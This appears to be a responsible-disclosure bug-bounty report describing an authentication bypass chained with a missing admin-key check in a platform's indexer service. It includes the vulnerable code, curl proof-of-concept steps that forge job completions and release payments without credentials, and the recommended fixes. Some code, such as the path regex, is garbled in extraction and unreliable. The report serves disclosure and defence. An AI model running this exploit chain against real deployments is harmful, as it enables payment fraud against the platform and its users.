
Zero-Credential Forged Job Completion via Middleware Bypass + Missing Admin Key Enforcement

alva-p.xyz

Prepared by: alva-p Lead Researcher: Pineda Alvaro

June 2026

Contents

Summary	2
Vulnerability A — Middleware Bypass	2
Vulnerability B — Admin Key Not Required by Default	3
Exploit IDs Are Public	3
Full Chain	3
Validation Steps	4
Impact	5
Recommended Fix	5
Timeline	5
Attachments	6

Summary

Two independent vulnerabilities in the target platform's indexer service chain into a single zero-credential exploit that lets any unauthenticated attacker mark any job belonging to a session without an admin-key record as `completed`, with arbitrary attacker-controlled output — potentially triggering unauthorized payment release.

- **Vulnerability A** — an authentication middleware bypass on the worker-return reconciliation endpoint (`security.ts`).
- **Vulnerability B** — the admin-key authorization check silently grants access when no admin key has been configured for a session (`control-plane.ts`).

Chained together, no API key and no admin key are required to forge a job completion for any execution whose `requestId` is known. Those IDs are themselves enumerable from a public, unauthenticated endpoint.

Severity: Critical **Status:** Confirmed, Paid **Impact:** Unauthenticated forged job completion → unauthorized payment release

Vulnerability A — Middleware Bypass

Location: `src/security.ts` (`isAgentAdminScopedPath`, `isProtectedRequest`)

`isAgentAdminScopedPath()` returns `true` for `POST /api/executions/:id/reconcile-worker-return`, which causes `isProtectedRequest()` to return `false` — completely skipping API key validation for this route.

```
1 // src/security.ts
2 function isAgentAdminScopedPath(pathname: string, method: string): boolean {
3   return (
4     method === "POST" &&
5     /^\/api\/executions\/[~\/]+\((late-completion|reconcile-worker-return)$/.test(
6       pathname
7     )
8   );
9 }
10
11 function isProtectedRequest(request, config): boolean {
12   if (!authActive || ... || isAgentAdminScopedPath(pathname, method) || ...) {
13     return false; // <- no API key check at all
14   }
15 }
```

Confirmed: with API-key enforcement active (`REQUIRE_API_AUTH=true`, `API_KEYS=test-secret`), a normal protected route (`POST /api/console/profile`) returns HTTP 401 without a key, but `POST /api/executions/X/reconcile-worker-return` returns HTTP 400 (`"Unknown`

`execution request")` instead — proof the request reached the business-logic handler with zero credentials.

Vulnerability B — Admin Key Not Required by Default

Location: `src/control-plane.ts` (`hasAdminAccess`, `assertAdminAccess`)

`hasAdminAccess()` / `assertAdminAccess()` grant full access whenever the session has **no** admin-key record in `adminKeysBySession`:

```
1 // src/control-plane.ts
2 private hasAdminAccess(state, sessionId, adminKey?) {
3   const record = state.adminKeysBySession[sessionId];
4   if (!record) {
5     return true; // <- no admin key configured -> ANY caller gets access
6   }
7   ...
8 }
```

`adminKeysBySession` is initialized to `{}` and is only populated when an agent explicitly completes the admin-key issuance flow. A session has no entry when it predates that flow, was never migrated, or simply never opted in — which is the default for most agents. When no record exists, `assertAdminAccess` returns silently and the forged payload is accepted. `reconcileWorkerReturn` calls `assertAdminAccess(state, existing.sessionId, options.adminKey)`; for any session without an admin-key record, this call is a no-op.

Exploit IDs Are Public

`requestId` values are enumerable from `GET /api/payments` — a route that is always public, regardless of auth configuration.

Full Chain

```
1 1. GET /api/payments (no auth, always public)
2   -> extract a real requestId: req_abc123
3
4 2. POST /api/executions/req_abc123/reconcile-worker-return
5   -> no API key: isAgentAdminScopedPath() bypasses the middleware [Vuln A]
6   -> no admin key: assertAdminAccess() has no record, returns silently [Vuln B]
7   -> payload accepted as a legitimate worker completion
8
9 3. updatePaymentLedgerExecution({ executionStatus: "completed" })
10  -> job marked completed, payment ledger updated
```

Validation Steps

Prerequisites: build and start the indexer locally with API-key auth enabled:

```
1 REQUIRE_API_AUTH=true API_KEYS=test-secret pnpm start:indexer
```

Step 1 — Confirm the middleware is active (control)

```
1 curl -s -o /dev/null -w "%{http_code}" -X POST http://localhost:4318/api/console/ \
   profile \
2 -H "Content-Type: application/json" -d '{}'\
3 # Expected: 401 - middleware is active
```

Step 2 — Confirm the bypass on reconcile-worker-return

```
1 curl -s -w "%{http_code}" -X POST \
2 http://localhost:4318/api/executions/req_NONEXISTENT/reconcile-worker-return \
3 -H "Content-Type: application/json" \
4 -d '{"schema_version":"worker-return/1.0","request_id":"req_NONEXISTENT"," \
   agent_private":true,"status":"completed"}'\
5 # Expected: 400 "Unknown execution request" - NOT 401
6 # Proves the request reached the handler with no API key
```

Step 3 — Enumerate a real requestId

```
1 curl -s http://localhost:4318/api/payments | \
2 python3 -c "import sys,json; d=json.load(sys.stdin); \
3 entries=d if isinstance(d,list) else d.get('entries',d.get('payments',[])); \
4 print(entries[0].get('requestId') or entries[0].get('hireRequestId',''))"
5 # Returns a real requestId - no auth needed
```

Step 4 — Forge completion with the real requestId

```
1 REQID="<id from step 3>"
2 curl -s -w "%{http_code}" -X POST \
3 "http://localhost:4318/api/executions/$REQID/reconcile-worker-return" \
4 -H "Content-Type: application/json" \
5 -d "{
6   \"schema_version\": \"worker-return/1.0\",
7   \"request_id\": \"$REQID\",
8   \"agent_private\": true,
9   \"status\": \"completed\",
10  \"execution\": {
11    \"completionClassification\": \"agent_completed_verified\",
12    \"deliverables\": [{\"type\": \"text\", \"content\": \"FORGED OUTPUT\"}],
13    \"verification_manifest\": {
14      \"input_digest_sha256\": \"aabbccdd...\",
15      \"checks_performed\": [\"none\"],
16      \"files_produced\": [],
17      \"blocked_suspicious_instructions\": []
18    }
19  }
20 }"
21 # Expected on a vulnerable instance: 200 - job marked completed with forged output
```

Step 5 — Verify Vulnerability B's logic independently

```
1 node F19_hasAdminAccessBypass.ts
```

```
2 # Output confirms: hasAdminAccess({ adminKeysBySession: {} }, session) -> true
```

Impact

- Any unauthenticated attacker who knows a `requestId` (freely enumerable via `/api/payments`) can mark any job belonging to a session without an admin-key record as `completed`, with arbitrary output.
- Payment release is triggered for work that was never performed.
- No credentials of any kind are required — neither an API key nor an admin key.
- The attack surface covers every session where `adminKeysBySession[sessionId]` has no entry (legacy, un-migrated, or sessions predating the admin-key flow).
- Vulnerability A is exploitable independently of Vulnerability B: even with an admin key configured, the middleware bypass still skips the platform API-key gate, so an attacker who separately obtains an admin key can still forge completions without ever holding a platform API key.

Recommended Fix

Vulnerability A: remove `reconcile-worker-return` and `late-completion` from `isAgentAdminScopedPath`. Both routes must go through the standard API-key middleware.

Vulnerability B: change the default behavior of `hasAdminAccess`:

```
1 // Before (vulnerable)
2 if (!record) return true;
3
4 // After (secure)
5 if (!record) throw new Error("Admin key not configured for this agent.");
```

Issue admin keys automatically during agent enrollment and make them mandatory rather than opt-in.

Timeline

- Reported: June 2026
- Status: **Confirmed and paid** by the program.

Attachments

- [F19_hasAdminAccessBypass.ts](#) — standalone PoC isolating Vulnerability B's logic.
- [91_forcedtxt_from_sh.txt](#) — captured output of the full exploit chain (Steps 1-4 above).